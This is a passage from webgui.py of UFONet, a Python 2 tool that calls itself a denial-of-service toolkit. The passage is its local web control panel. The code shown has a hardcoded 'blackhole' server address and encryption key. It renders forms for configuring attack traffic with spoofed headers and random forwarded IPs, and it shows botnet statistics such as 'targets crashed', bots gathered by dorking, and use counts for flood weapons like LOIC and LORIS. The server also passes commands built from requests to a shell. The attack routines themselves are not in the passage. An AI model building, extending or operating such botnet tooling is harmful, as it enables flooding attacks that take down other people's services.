webgui.py 299 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756275727582759276027612762276327642765276627672768276927702771277227732774277527762777277827792780278127822783278427852786278727882789279027912792279327942795279627972798279928002801280228032804280528062807280828092810281128122813281428152816281728182819282028212822282328242825282628272828282928302831283228332834283528362837283828392840284128422843284428452846284728482849285028512852285328542855285628572858285928602861286228632864286528662867286828692870287128722873287428752876287728782879288028812882288328842885288628872888288928902891289228932894289528962897289828992900290129022903290429052906290729082909291029112912291329142915291629172918291929202921292229232924292529262927292829292930293129322933293429352936293729382939294029412942294329442945294629472948294929502951295229532954295529562957295829592960296129622963296429652966296729682969297029712972297329742975297629772978297929802981298229832984298529862987298829892990299129922993299429952996299729982999300030013002300330043005300630073008300930103011301230133014301530163017301830193020302130223023302430253026302730283029303030313032303330343035303630373038303930403041304230433044304530463047304830493050305130523053305430553056305730583059306030613062306330643065306630673068306930703071307230733074307530763077307830793080308130823083308430853086308730883089309030913092309330943095309630973098309931003101310231033104310531063107310831093110311131123113311431153116311731183119312031213122312331243125312631273128312931303131313231333134313531363137313831393140314131423143314431453146314731483149315031513152315331543155315631573158315931603161316231633164316531663167316831693170317131723173317431753176317731783179318031813182318331843185318631873188318931903191319231933194319531963197319831993200320132023203320432053206320732083209321032113212321332143215321632173218321932203221322232233224322532263227322832293230323132323233323432353236323732383239324032413242324332443245324632473248324932503251325232533254325532563257325832593260326132623263326432653266326732683269327032713272327332743275327632773278327932803281328232833284328532863287328832893290329132923293329432953296329732983299330033013302330333043305330633073308330933103311331233133314331533163317331833193320332133223323332433253326332733283329333033313332333333343335333633373338333933403341334233433344334533463347334833493350335133523353335433553356335733583359336033613362336333643365336633673368336933703371337233733374337533763377337833793380338133823383338433853386338733883389339033913392339333943395339633973398339934003401340234033404340534063407340834093410341134123413341434153416341734183419342034213422342334243425342634273428342934303431343234333434343534363437343834393440344134423443344434453446344734483449345034513452345334543455345634573458345934603461346234633464346534663467346834693470347134723473347434753476347734783479348034813482348334843485348634873488348934903491349234933494349534963497349834993500350135023503350435053506350735083509351035113512351335143515351635173518351935203521352235233524352535263527352835293530353135323533353435353536353735383539354035413542354335443545354635473548354935503551355235533554355535563557355835593560356135623563356435653566356735683569357035713572357335743575357635773578357935803581358235833584358535863587358835893590359135923593359435953596359735983599360036013602360336043605360636073608360936103611361236133614361536163617361836193620362136223623362436253626362736283629363036313632363336343635363636373638363936403641364236433644364536463647364836493650365136523653365436553656365736583659366036613662366336643665366636673668366936703671367236733674367536763677367836793680368136823683368436853686368736883689369036913692369336943695369636973698369937003701370237033704370537063707370837093710371137123713371437153716371737183719372037213722372337243725372637273728372937303731373237333734373537363737373837393740374137423743374437453746374737483749375037513752375337543755375637573758375937603761376237633764376537663767376837693770377137723773377437753776377737783779378037813782378337843785378637873788378937903791379237933794379537963797379837993800380138023803380438053806380738083809381038113812381338143815381638173818381938203821382238233824382538263827382838293830383138323833383438353836383738383839384038413842384338443845384638473848384938503851385238533854385538563857385838593860386138623863386438653866386738683869387038713872387338743875387638773878387938803881388238833884388538863887388838893890389138923893389438953896389738983899390039013902390339043905390639073908390939103911391239133914391539163917391839193920392139223923392439253926392739283929393039313932393339343935393639373938393939403941394239433944394539463947394839493950395139523953395439553956395739583959396039613962396339643965396639673968396939703971397239733974397539763977397839793980398139823983398439853986398739883989399039913992399339943995399639973998399940004001400240034004400540064007400840094010401140124013401440154016401740184019402040214022402340244025402640274028402940304031403240334034403540364037403840394040404140424043404440454046404740484049405040514052405340544055405640574058405940604061406240634064406540664067406840694070407140724073407440754076407740784079408040814082408340844085408640874088408940904091409240934094409540964097409840994100410141024103410441054106410741084109411041114112411341144115411641174118411941204121412241234124412541264127412841294130413141324133413441354136413741384139414041414142414341444145414641474148414941504151415241534154415541564157415841594160416141624163416441654166416741684169417041714172417341744175417641774178417941804181418241834184418541864187418841894190419141924193419441954196419741984199420042014202420342044205420642074208420942104211421242134214421542164217421842194220422142224223422442254226422742284229423042314232423342344235423642374238423942404241424242434244424542464247424842494250425142524253425442554256425742584259426042614262426342644265426642674268426942704271427242734274427542764277427842794280428142824283428442854286428742884289429042914292429342944295429642974298429943004301430243034304430543064307430843094310431143124313431443154316431743184319432043214322432343244325432643274328432943304331433243334334433543364337433843394340434143424343434443454346434743484349435043514352435343544355435643574358435943604361436243634364436543664367436843694370437143724373437443754376437743784379438043814382438343844385438643874388438943904391439243934394439543964397439843994400440144024403440444054406440744084409441044114412441344144415441644174418441944204421442244234424442544264427442844294430443144324433443444354436443744384439444044414442444344444445444644474448444944504451445244534454445544564457445844594460446144624463446444654466446744684469447044714472447344744475447644774478447944804481448244834484448544864487448844894490449144924493449444954496449744984499450045014502450345044505450645074508450945104511451245134514451545164517451845194520452145224523452445254526452745284529453045314532453345344535453645374538453945404541454245434544454545464547454845494550455145524553455445554556455745584559456045614562456345644565456645674568456945704571457245734574457545764577457845794580458145824583458445854586458745884589459045914592459345944595459645974598459946004601460246034604460546064607460846094610461146124613461446154616461746184619462046214622462346244625462646274628462946304631463246334634463546364637463846394640464146424643464446454646464746484649465046514652465346544655465646574658465946604661466246634664466546664667466846694670467146724673467446754676467746784679468046814682468346844685468646874688468946904691469246934694469546964697469846994700470147024703470447054706470747084709471047114712471347144715471647174718471947204721472247234724472547264727472847294730473147324733473447354736473747384739474047414742474347444745474647474748474947504751475247534754475547564757475847594760476147624763476447654766476747684769477047714772477347744775477647774778477947804781478247834784478547864787478847894790479147924793479447954796479747984799480048014802480348044805480648074808480948104811481248134814481548164817481848194820482148224823482448254826482748284829483048314832483348344835483648374838483948404841484248434844484548464847484848494850485148524853485448554856485748584859486048614862486348644865486648674868486948704871487248734874487548764877
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. """
  4. UFONet - Denial of Service Toolkit - 2013/2019 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import socket, threading, re, base64, os, time, random
  10. import webbrowser, subprocess, urllib, urllib2, json, sys
  11. from time import gmtime, strftime, strptime
  12. from Crypto.Cipher import AES
  13. from hashlib import sha1, sha256
  14. from urlparse import urlparse
  15. from base64 import b64decode
  16. from decimal import Decimal
  17. from options import UFONetOptions
  18. from main import UFONet
  19. from core.tools.abductor import Abductor
  20. host = "0.0.0.0"
  21. port = 9999
  22. default_blackhole = '176.28.23.46' # default blackhole
  23. blackhole_sep = "|" # blackhole stream separator
  24. board_msg_sep = "#!#" # board stream separator
  25. grid_msg_sep = "#?#" # grid stream seperator
  26. wargames_msg_sep = "#-#" # wargames stream seperator
  27. crypto_key = "U-NATi0n!" # default encryption/decryption (+moderator board) key
  28. class ClientThread(threading.Thread):
  29. def __init__(self, ip, port, socket):
  30. threading.Thread.__init__(self)
  31. self.ip = ip
  32. self.port = port
  33. self.socket = socket
  34. self.pages = Pages()
  35. def run(self):
  36. req = self.socket.recv(2048)
  37. res = self.pages.get(req)
  38. if res is None:
  39. self.socket.close()
  40. return
  41. out = "HTTP/1.0 %s\r\n" % res["code"]
  42. out += "Content-Type: %s\r\n\r\n" % res["ctype"]
  43. out += "%s" % res["html"]
  44. self.socket.send(out)
  45. self.socket.close()
  46. if "run" in res and len(res["run"]):
  47. subprocess.Popen(res["run"], shell=True)
  48. class Pages():
  49. def file_len(self, fn):
  50. with open(fn) as f:
  51. for i, l in enumerate(f):
  52. pass
  53. return i + 1
  54. def html_army_map(self,target=None):
  55. try:
  56. target_js="total_zombies = "+str( int(self.file_len(self.zombies_file))+int(self.file_len(self.aliens_file))+int(self.file_len(self.droids_file))+int(self.file_len(self.ucavs_file))+int(self.file_len(self.rpcs_file)) )+"\ninitMap()\n\n"
  57. except:
  58. target_js="not any zombie available\n\n"
  59. if target is not None:
  60. target_js += "$('#ufomsg').load('/js/ajax.js?doll="+target+"')\n"
  61. return self.pages["/header"] + """
  62. <link rel="stylesheet" href="/js/style.css" />
  63. <link rel="stylesheet" href="/js/ajaxmap.css" />
  64. <link rel="stylesheet" href="/js/leaflet/leaflet.css" />
  65. <link rel="stylesheet" href="/js/cluster/MarkerCluster.Default.css"/>
  66. <link rel="stylesheet" href="/js/cluster/MarkerCluster.css"/>
  67. <script src="/js/leaflet/leaflet.js"></script>
  68. <script src="/js/cluster/leaflet.markercluster-src.js"></script>
  69. <script src="/js/jquery-1.10.2.min.js"></script>
  70. <script src="/js/rlayer-src.js"></script>
  71. <script src="/js/raphael.js"></script>
  72. <script src="/js/ufo.js"></script>
  73. <script src="/js/ajax.js"></script>
  74. </head><body bgcolor="black" text="black">
  75. <div id="wrapper">
  76. <div id="map" style="width: 100%; height: 100%"></div>
  77. </div>
  78. <script type="text/javascript">
  79. window.onload = function(){
  80. """+target_js+"""
  81. }
  82. </script>
  83. <center>
  84. """ + self.pages["/footer"]
  85. def html_request_submit(self):
  86. return self.pages["/header"]+"""<script>
  87. window.setTimeout(window.close,1234)
  88. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  89. <center>settings updated"""+self.pages["/footer"]
  90. def html_requests(self):
  91. # read requests configuration file (json)
  92. try:
  93. with open(self.mothership_webcfg_file) as data_file:
  94. data = json.load(data_file)
  95. except:
  96. if os.path.exists(self.mothership_webcfg_file) == True:
  97. print '[Error] [AI] Cannot open: "core/json/webcfg.json" -> [Aborting!]\n'
  98. return
  99. else: # generate default requests configuration file
  100. print '[Info] [AI] Cannot found: "core/json/webcfg.json" -> [Generating!]'
  101. with open(self.mothership_webcfg_file, "w") as f:
  102. json.dump({"rproxy": "NONE", "ruseragent": "RANDOM", "rreferer": "RANDOM", "rhost": "NONE", "rxforw": "on", "rxclient": "on", "rtimeout": "10", "rretries": "1", "rdelay": "0", "threads": "5", "rssl": "off"}, f, indent=4)
  103. # set values of requests configuration from json file to html form
  104. with open(self.mothership_webcfg_file) as data_file:
  105. data = json.load(data_file)
  106. self.agents = [] # generating available user-agents
  107. f = open(self.agents_file)
  108. agents = f.readlines()
  109. f.close()
  110. for agent in agents:
  111. self.agents.append(agent)
  112. self.user_agent = random.choice(self.agents).strip()
  113. self.rproxy = data["rproxy"]
  114. if self.rproxy == "NONE":
  115. self.rproxy = ""
  116. self.ruseragent = data["ruseragent"]
  117. if self.ruseragent == "RANDOM":
  118. self.ruseragent = self.user_agent # random user-agent
  119. self.rreferer = data["rreferer"]
  120. if self.rreferer == "RANDOM":
  121. self.rreferer = self.referer # random referer
  122. self.rhost = data["rhost"]
  123. if self.rhost == "NONE":
  124. self.rhost = ""
  125. self.rxforw = data["rxforw"]
  126. if self.rxforw == "on":
  127. self.rxforw_check = 'checked'
  128. else:
  129. self.rxforw_check = ''
  130. self.rxclient = data["rxclient"]
  131. if self.rxclient == "on":
  132. self.rxclient_check = 'checked'
  133. else:
  134. self.rxclient_check = ''
  135. self.rtimeout = data["rtimeout"]
  136. self.rretries = data["rretries"]
  137. self.rdelay = data["rdelay"]
  138. self.threads = data["threads"]
  139. self.rssl = data["rssl"]
  140. if self.rssl == "on":
  141. self.rssl_check = 'checked'
  142. else:
  143. self.rssl_check = ''
  144. return self.pages["/header"] + """
  145. <script language="javascript">
  146. function Requests() {
  147. var win_requests = window.open("requests","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  148. }
  149. </script>
  150. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  151. <u>Configure requests:</u>
  152. <table cellpadding="2" cellspacing="2">
  153. <form method='GET'>
  154. <tr>
  155. <td> Use proxy server:</td>
  156. <td> <input type="text" name="rproxy" value='"""+str(self.rproxy)+"""'></td>
  157. </tr>
  158. <tr>
  159. <td> Use another HTTP User-Agent header:</td>
  160. <td> <input type="text" name="ruseragent" value='"""+str(self.ruseragent)+"""'></td>
  161. </tr>
  162. <tr>
  163. <td> Use another HTTP Referer header:</td>
  164. <td> <input type="text" name="rreferer" value='"""+str(self.rreferer)+"""'></td>
  165. </tr>
  166. <tr>
  167. <td> Use another HTTP Host header:</td>
  168. <td> <input type="text" name="rhost" value='"""+str(self.rhost)+"""'></td>
  169. </tr>
  170. <tr>
  171. <td> Set your HTTP X-Forwarded-For with random IP values:</td>
  172. <td> <input type="checkbox" name='rxforw' """+self.rxforw_check+"""></td>
  173. </tr>
  174. <tr>
  175. <td> Set your HTTP X-Client-IP with random IP values:</td>
  176. <td> <input type="checkbox" name='rxclient' """+self.rxclient_check+"""></td>
  177. </tr>
  178. <tr>
  179. <td> Select your timeout:</td>
  180. <td> <input type="text" name="rtimeout" value='"""+str(self.rtimeout)+"""'></td>
  181. </tr>
  182. <tr>
  183. <td> Retries when the connection timeouts:</td>
  184. <td> <input type="text" name="rretries" value='"""+str(self.rretries)+"""'></td>
  185. </tr>
  186. <tr>
  187. <td> Delay in seconds between each HTTP request:</td>
  188. <td> <input type="text" name="rdelay" value='"""+str(self.rdelay)+"""'></td>
  189. </tr>
  190. <tr>
  191. <td> Number of threads:</td>
  192. <td> <input type="text" name="threads" value='"""+str(self.threads)+"""'></td>
  193. </tr>
  194. <tr>
  195. <td> Force usage of SSL/HTTPS requests:</td>
  196. <td> <input type="checkbox" name='rssl' """+self.rssl_check+"""></td>
  197. </tr>
  198. </table>
  199. <hr>
  200. <input type="hidden" name="update" value="1">
  201. <input type="submit" value="Set!" onclick="Requests()"></pre>
  202. </form>
  203. """ + self.pages["/footer"]
  204. def html_board_profile_submit(self):
  205. return self.pages["/header"]+"""<script>
  206. window.setTimeout(window.close,1234)
  207. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  208. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  209. def html_grid_profile_submit(self):
  210. return self.pages["/header"]+"""<script>
  211. window.setTimeout(window.close,1234)
  212. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  213. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  214. def profile_crew(self, icon):
  215. files = os.listdir("core/images/crew/")
  216. if icon == "NONE":
  217. icon = "link1"
  218. html_stream = ""
  219. html_stream += "<table cellspacing='2' cellpadding='5'><form method='GET'><tr>"
  220. for f in files:
  221. id = str(f.replace(".png", ""))
  222. value = str(f.replace(".png", ""))
  223. if icon == value:
  224. checked = " CHECKED"
  225. else:
  226. checked = ""
  227. html_stream += "<td><input type='radio' name='profile_icon' id='"+id+"' value='"+value+"'"+ checked+"><img src='images/crew/"+f+"'></td>"
  228. html_stream += "</tr></table>"
  229. return html_stream
  230. def html_board_profile(self):
  231. try:
  232. with open(self.mothership_boardcfg_file) as data_file:
  233. data = json.load(data_file)
  234. except:
  235. if os.path.exists(self.mothership_boardcfg_file) == True:
  236. print '[Error] [AI] Cannot open: "core/json/boardcfg.json" -> [Aborting!]\n'
  237. return
  238. else:
  239. print '[Info] [AI] Cannot found: "core/json/boardcfg.json" -> [Generating!]'
  240. with open(self.mothership_boardcfg_file, "w") as f:
  241. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  242. f.close()
  243. with open(self.mothership_boardcfg_file) as data_file:
  244. data = json.load(data_file)
  245. self.profile_token = str(random.getrandbits(128)) # generating random token hash
  246. self.profile_icon = data["profile_icon"]
  247. self.profile_nick = data["profile_nick"]
  248. self.profile_nick.encode('utf-8')
  249. return self.pages["/header"] + """
  250. <script language="javascript">
  251. function BoardProfile() {
  252. var win_board = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  253. }
  254. </script>
  255. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  256. <u>Configure profile:</u>
  257. <table cellpadding="2" cellspacing="2">
  258. <form method='GET'>
  259. <tr>
  260. <td> <u>OPERATOR/LINK:</u></td>
  261. <td> """+self.profile_crew(self.profile_icon)+"""</td>
  262. </tr>
  263. <tr>
  264. <td> <u>NICKNAME:</u></td>
  265. <td> <input type="text" name="profile_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.profile_nick.encode('utf-8')+"""'></td>
  266. </tr>
  267. </table>
  268. <hr>
  269. <input type="hidden" name="update" value="1">
  270. <input type="submit" value="Set!" onclick="BoardProfile()"></pre>
  271. </form>
  272. """ + self.pages["/footer"]
  273. def html_grid_profile(self):
  274. try:
  275. with open(self.mothership_gridcfg_file) as data_file:
  276. data = json.load(data_file)
  277. except:
  278. if os.path.exists(self.mothership_gridcfg_file) == True:
  279. print '[Error] [AI] Cannot open: "core/json/gridcfg.json" -> [Aborting!]\n'
  280. return
  281. else:
  282. print '[Info] [AI] Cannot found: "core/json/gridcfg.json" -> [Generating!]'
  283. with open(self.mothership_gridcfg_file, "w") as f:
  284. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  285. f.close()
  286. with open(self.mothership_gridcfg_file) as data_file:
  287. data = json.load(data_file)
  288. self.grid_token = str(random.getrandbits(128)) # generating random token hash
  289. self.grid_contact = data["grid_contact"]
  290. self.grid_contact.encode('utf-8')
  291. self.grid_nick = data["grid_nick"]
  292. self.grid_nick.encode('utf-8')
  293. return self.pages["/header"] + """
  294. <script language="javascript">
  295. function GridProfile() {
  296. var win_board = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  297. }
  298. </script>
  299. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  300. <u>Configure grid profile:</u><br>
  301. <table cellpadding="2" cellspacing="2">
  302. <form method='GET'>
  303. <tr>
  304. <td> <u>NICKNAME:</u></td>
  305. <td> <input type="text" name="grid_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.grid_nick.encode('utf-8')+"""'></td>
  306. </tr>
  307. <tr>
  308. <td> <u>EMAIL/URL (CONTACT):</u></td>
  309. <td> <input type="text" name="grid_contact" pattern=".{8,120}" required title="8 to 120 characters" value='"""+self.grid_contact.encode('utf-8')+"""'></td>
  310. </tr>
  311. </table>
  312. <hr>
  313. <input type="hidden" name="update" value="1">
  314. <input type="submit" value="Set!" onclick="GridProfile()"></pre>
  315. </form>
  316. """ + self.pages["/footer"]
  317. def html_board_remove(self):
  318. try:
  319. with open(self.mothership_boardcfg_file, "w") as f:
  320. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  321. except:
  322. return
  323. return self.pages["/header"]+"""<script>
  324. window.setTimeout(window.close,1234)
  325. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  326. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  327. def html_grid_remove(self):
  328. try:
  329. with open(self.mothership_gridcfg_file, "w") as f:
  330. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  331. except:
  332. return
  333. return self.pages["/header"]+"""<script>
  334. window.setTimeout(window.close,1234)
  335. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  336. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  337. def html_stats(self):
  338. if self.ranking == "Rookie": # Rookie
  339. your_ranking = "<font color='white'>Rookie [*]</font>"
  340. elif self.ranking == "Mercenary": # Mercenary
  341. your_ranking = "<font color='cyan'>Mercenary [**]</font>"
  342. elif self.ranking == "Bandit": # Bandit
  343. your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
  344. elif self.ranking == "UFOmmander!": # UFOmmander!
  345. your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
  346. elif self.ranking == "UFOl33t!": # UFOl33t!
  347. your_ranking = "<font color='red'>UFOl33t! [&#x25BC;]</font>"
  348. else:
  349. your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
  350. return self.pages["/header"] + """<script language="javascript">
  351. function Grid() {
  352. var win_grid = window.open("grid","_parent","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  353. }
  354. </script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  355. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  356. <center>
  357. <table cellpadding="5" cellspacing="5"><tr>
  358. <td><img src="/images/mothership.png"></td>
  359. <td>STATS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button></td>
  360. </tr></table>
  361. <table border="0" cellpadding="5" cellspacing="10"><tr><td>
  362. <table border="1" cellpadding="5" cellspacing="10"><tr>
  363. <td><b><u>General:</u></b></td></tr>
  364. <tr>
  365. <td>RANKING:</td><td align='right'>""" + str(your_ranking) + """</td></tr>
  366. <tr><td>Flying (times):</td><td align='right'><font color='red'>""" + str(self.aflying) + """</font></td></tr>
  367. </table>
  368. <br>
  369. <table border="1" cellpadding="5" cellspacing="10"><tr>
  370. <td><b><u>Missions:</u></b></td></tr>
  371. <tr>
  372. <td>Created (launched):</td><td align='right'><font color='red'>""" + str(self.amissions) + """</font></td></tr>
  373. <tr>
  374. <td>Attacks (completed):</td><td align='right'><font color='blue'>""" + str(self.acompleted) + """</font></td></tr>
  375. <tr>
  376. <td>Targets (crashed):</td><td align='right'><font color='green'>""" + str(self.tcrashed) + """</font></td></tr>
  377. <tr>
  378. <td>Crashing (T*100/A=C%):</td><td align='right'><font color='orange'>""" + str(round(self.mothership_acc, 2)) + """%</font></td></tr>
  379. </table>
  380. </td><td>
  381. <table border="1" cellpadding="5" cellspacing="10"><tr>
  382. <td><b><u>Botnet:</u></b></td></tr>
  383. <tr>
  384. <td>Total Cargo (now):</td><td align='right'><a href='javascript:runCommandX("cmd_list_army")'>"""+ self.total_botnet +"""</a></td></tr>
  385. <tr>
  386. <td>Scanner (new bots via dorking):</td>
  387. <td align='right'><font color='blue'>""" + str(self.ascanner) + """</font></td></tr>
  388. <tr>
  389. <td>Transferred (new bots via blackholes):</td>
  390. <td align='right'><font color='green'>""" + str(self.atransferred) + """</font></td></tr>
  391. <tr>
  392. <td>Max. Chargo (always): </td><td align='right'><font color='orange'>""" + str(self.amax_chargo) + """</font></td></tr>
  393. </table>
  394. <br>
  395. <table border="1" cellpadding="5" cellspacing="10"><tr>
  396. <td><b><u>Weapons (use):</u></b></td></tr>
  397. <tr>
  398. <td>LOIC:</td><td align='right'><font color='cyan'>""" + str(self.aloic) + """</font></td>
  399. <td>LORIS:</td><td align='right'><font color='cyan'>""" + str(self.aloris) + """</font></td></tr>
  400. <tr>
  401. <td>UFOSYN:</td><td align='right'><font color='cyan'>""" + str(self.aufosyn) + """</font></td>
  402. <td>SPRAY:</td><td align='right'><font color='cyan'>""" + str(self.aspray) + """</font></td></tr>
  403. <tr>
